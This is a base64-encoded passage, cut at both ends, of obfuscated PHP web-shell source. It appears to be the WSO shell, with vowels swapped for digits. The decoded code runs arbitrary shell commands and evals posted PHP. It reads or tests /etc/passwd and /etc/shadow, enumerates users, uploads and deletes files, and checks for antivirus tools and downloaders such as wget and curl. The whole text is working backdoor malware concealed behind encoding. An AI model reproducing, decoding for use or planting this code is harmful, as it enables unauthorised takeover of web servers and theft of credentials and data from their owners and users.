QgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPkNsNDVudCBJUDo8L3NwMW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L24yYnI+PC90ZD48L3RyPjwvdDFibDU+Jw0KICAgICAgIC4gJzx0MWJsNSBzdHlsNT0iYjJyZDVyLXQycDphcHggczJsNGQgI29vbzsiIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj4nIC4gJG01bjMgLiAnPC90cj48L3QxYmw1PjxkNHYgc3R5bDU9Im0xcmc0bjppIj4nOw0KfQ0KDQpmM25jdDQybiB3czJGMjJ0NXIoKSB7DQoJJDRzX3dyNHQxYmw1ID0gNHNfd3I0dDFibDUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmMm50IGMybDJyPSdncjU1bic+KFdyNHQ1MWJsNSk8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oTjJ0IHdyNHQxYmw1KTwvZjJudD4iOw0KICAgIDVjaDIgIg0KPC9kNHY+DQo8dDFibDUgY2wxc3M9NG5mMiA0ZD10MjJsc1RibCBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJSAgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNvb287YjJyZDVyLWIydHQybTphcHggczJsNGQgI29vbzsnPg0KCTx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5SNTFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ21rZjRsNScpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkV4NWMzdDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCgkJPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48YnIgID48L3RkPg0KCTwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQp9DQoNCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRwdzM0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRwdzM0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0cHczNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dGdyZzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KDQpmM25jdDQybiB3czJFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQoNCmYzbmN0NDJuIHdzMlY0NXdTNHo1KCRzKSB7DQogICAgNGYgKDRzXzRudCgkcykpDQogICAgICAgICRzID0gc3ByNG50ZigiJTMiLCAkcyk7DQogICAgDQoJNGYoJHMgPj0gNjA3bzd1NjhhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOw0KCTVsczU0ZigkcyA+PSA2MHU4aTdlKQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwdThpN2UgKSAuICcgTUInOw0KCTVsczU0ZigkcyA+PSA2MGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwYXUgKSAuICcgS0InOw0KCTVsczUNCgkJcjV0M3JuICRzIC4gJyBCJzsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zQzJsMnIoJGYpIHsNCgk0ZiAoIUA0c19yNTFkMWJsNSgkZikpDQoJCXI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczU0ZiAoIUA0c193cjR0MWJsNSgkZikpDQoJCXI1dDNybiAnPGYybnQgYzJsMnI9d2g0dDU+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1DQoJCXI1dDNybiAnPGYybnQgYzJsMnI9I2FpZmYwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KfQ0KDQpmM25jdDQybiB3czJTYzFuZDRyKCRkNHIpIHsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KICAgICAgICByNXQzcm4gc2MxbmQ0cigkZDRyKTsNCiAgICB9IDVsczUgew0KICAgICAgICAkZGggID0gMnA1bmQ0cigkZDRyKTsNCiAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01Ow0KICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgIH0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCgkkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KCTRmKCE1bXB0eSgkcDF0aCkpDQoJCXI1dDNybiAkcDF0aDsNCglyNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlM1cnY1ciBzNWMzcjR0eSA0bmYycm0xdDQybjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJZjNuY3Q0Mm4gd3MyUzVjUDFyMW0oJG4sICR2KSB7DQoJCSR2ID0gdHI0bSgkdik7DQoJCTRmKCR2KSB7DQoJCQk1Y2gyICc8c3Axbj4nIC4gJG4gLiAnOiA8L3NwMW4+JzsNCgkJCTRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KQ0KCQkJCTVjaDIgJHYgLiAnPGJyPic7DQoJCQk1bHM1DQoJCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JyAuICR2IC4gJzwvcHI1Pic7DQoJCX0NCgl9DQoNCgl3czJTNWNQMXIxbSgnUzVydjVyIHMyZnR3MXI1JywgQGc1dDVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMXAxY2g1X2c1dF9tMmQzbDVzJykpDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7DQoJd3MyUzVjUDFyMW0oJ0Q0czFibDVkIFBIUCBGM25jdDQybnMnLCAkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXT8kR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXTonbjJuNScpOw0KCXdzMlM1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDRuY2wzZDUgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQoJJHQ1bXA9MXJyMXkoKTsNCgk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2c1dF9jbDQ1bnRfNG5mMicpKQ0KCQkkdDVtcFtdID0gIk15U3FsICgiLm15c3FsX2c1dF9jbDQ1bnRfNG5mMigpLiIpIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJNU1NRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiUDJzdGdyNVNRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyYzRfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk9yMWNsNSI7DQoJd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7DQoJNWNoMiAnPGJyPic7DQoNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvcDFzc3dkJywgQDRzX3I1MWQxYmw1KCcvNXRjL3Axc3N3ZCcpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCIvNXRjL1wiLCBcInAxc3N3ZFwiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9zaDFkMncnLCBANHNfcjUxZDFibDUoJy81dGMvc2gxZDJ3Jyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwic2gxZDJ3XCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdPUyB2NXJzNDJuJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvcHIyYy92NXJzNDJuJykpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KICAgICAgICAgICAgNGYoISRHTE9CQUxTWydzMWY1X20yZDUnXSkgew0KICAgICAgICAgICAgICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgICAgICRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0JywnbHdwLW00cnIycicpOw0KICAgICAgICAgICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJDNzNXJmM2wgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnVXM1cmYzbCcsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdEMndubDIxZDVycycsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnSEREIHNwMWM1Jywgd3MyRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIMnN0cycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9oMnN0cycpKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8YnIvPjxzcDFuPnAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgICAgICA0ZiAoNHNzNXQgKCRfUE9TVFsncGEnXSwgJF9QT1NUWydwbyddKSAmJiA0c19uM201cjRjKCRfUE9TVFsncGEnXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJ3BvJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICR0NW1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgIGYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCQzNGQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXAgLj0gajI0bignOicsJDM0ZCkuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICc8YnIvPic7DQogICAgICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVycycsICR0NW1wKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJfSA1bHM1IHsNCgkJd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7DQoJCXdzMlM1Y1AxcjFtKCdBY2MyM250IFM1dHQ0bmdzJyx3czJFeCgnbjV0IDFjYzIzbnRzJykpOw0KCQl3czJTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsd3MyRXgoJ241dCAzczVyJykpOw0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4JywgdHIzNSk7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIiAuIDFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCcsIDApOw0KDQoJd3MySDUxZDVyKCk7DQoJNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGg2PlBIUCA0bmYyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KDFycjF5ICgNCiAgICAgICAgICAgICchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsDQogICAgICAgICAgICAnIXRkLCB0aCB7KC4qKX0hbXM0VScsDQogICAgICAgICAgICAnITw0bWdbXj5dKz4hbXM0VScsDQogICAgICAgICksIDFycjF5ICgNCiAgICAgICAgICAgICcnLA0KICAgICAgICAgICAgJy41LCAudiwgLmgsIC5oIHRoIHskNn0nLA0KICAgICAgICAgICAgJycNCiAgICAgICAgKSwgJHRtcCk7DQoJCTVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7DQoJfQ0KICAgIDVjaDIgJzxoNj5FeDVjM3Q0Mm4gUEhQLWMyZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KCTVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpOw0KCX0NCgk1Y2gyICc8L3ByNT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c00xbigpIHsNCiAgICA0ZiAoITVtcHR5ICgkX0NPT0tJRVsnZiddKSkNCiAgICAgICAgJF9DT09LSUVbJ2YnXSA9IEAzbnM1cjQxbDR6NSgkX0NPT0tJRVsnZiddKTsNCiAgICANCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQlzdzR0Y2goJF9QT1NUWydwNiddKSB7DQoJCQljMXM1ICczcGwyMWRGNGw1JzoNCgkJCQk0ZighQG0ydjVfM3BsMjFkNWRfZjRsNSgkX0ZJTEVTWydmJ11bJ3RtcF9uMW01J10sICRfRklMRVNbJ2YnXVsnbjFtNSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgM3BsMjFkISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUhIjsNCgkJCQlicjUxazsNCgkJCWMxczUgJ2Q1bDV0NSc6DQoJCQkJZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7DQoJCQkJCSRwMXRoID0gKHMzYnN0cigkcDF0aCwtNik9PScvJykgPyAkcDF0aDokcDF0aC4nLyc7DQoJCQkJCSRkaCAgPSAycDVuZDRyKCRwMXRoKTsNCgkJCQkJd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsNCgkJCQkJCSQ0dDVtID0gJHAxdGguJDR0NW07DQoJCQkJCQk0ZiAoIChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4uIikgfHwgKGIxczV